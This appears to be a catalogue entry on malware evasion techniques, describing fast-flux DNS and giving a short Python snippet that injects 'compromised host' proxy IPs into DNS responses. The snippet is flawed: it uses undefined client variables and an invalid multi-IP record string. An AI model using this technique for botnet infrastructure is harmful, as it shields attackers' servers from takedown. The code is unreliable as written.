(Python) Fast Flux by Thomas Roccia (fr0gger)

Created the Tuesday 13 December 2022. Updated 3 days ago.

Description:

This code uses the dnslib and socket modules to create and send a DNS query for the specified domain name to a DNS server. It then receives a DNS response from the server, modifies the response to include the IP addresses of the compromised hosts that will act as proxies, and sends the modified response back to the client.

This code simulates the operation of a DNS server that is being used for fast flux. In a real-world scenario, the DNS server would be under the control of the botnet, and the domain name and proxy addresses would be generated dynamically.

Code

            import dnslib
import socket

# Replace with the IP address of the DNS server
dns_server = "8.8.8.8"

# Replace with the domain name that you control
domain_name = "example.com"

# Replace with the IP addresses of the compromised hosts that will act as proxies
proxy_addresses = ["10.0.0.1", "10.0.0.2", "10.0.0.3"]

# Create a DNS query for the domain name
query = dnslib.DNSRecord.question(domain_name)

# Send the DNS query to the DNS server
dns_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
dns_socket.sendto(query.pack(), (dns_server, 53))

# Receive the DNS response from the DNS server
response = dnslib.DNSRecord.parse(dns_socket.recv(4096))

# Modify the DNS response to include the IP addresses of the compromised hosts
response.add_answer(*dnslib.RR.fromZone("example.com A " + " ".join(proxy_addresses)))

# Send the modified DNS response to the client
dns_socket.sendto(response.pack(), (client_address, client_port))

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